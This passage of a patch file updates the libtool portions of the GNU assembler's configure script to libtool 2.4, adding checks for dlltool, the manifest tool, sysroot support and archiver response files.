++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/gas/configure b/gas/configure
+index dc6a6682aa4..10364bd81da 100755
+--- a/gas/configure
++++ b/gas/configure
+@@ -681,8 +681,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -799,6 +802,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1490,6 +1494,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-cpu=CPU default cpu variant is CPU (currently only supported
+ on ARC)
+ --with-system-zlib use installed libz
+@@ -4608,8 +4614,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -4649,7 +4655,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5336,8 +5342,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5386,6 +5392,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5402,6 +5482,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5570,7 +5655,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -5724,6 +5810,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5739,6 +5840,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5753,8 +6005,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -5770,7 +6024,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5790,11 +6044,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -5810,7 +6068,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5829,6 +6087,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -5840,29 +6102,81 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
+
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
+
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
+
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
+
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
+
+
+
+@@ -6209,8 +6523,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6246,6 +6560,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6287,6 +6602,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6298,7 +6625,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6324,8 +6651,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6335,8 +6662,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6373,6 +6700,19 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
++
++
+
+
+
+@@ -6389,6 +6729,42 @@ fi
+
+
+
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -6600,6 +6976,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7163,6 +7656,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -7745,8 +8240,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -7912,6 +8405,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -7974,7 +8473,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8031,13 +8530,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
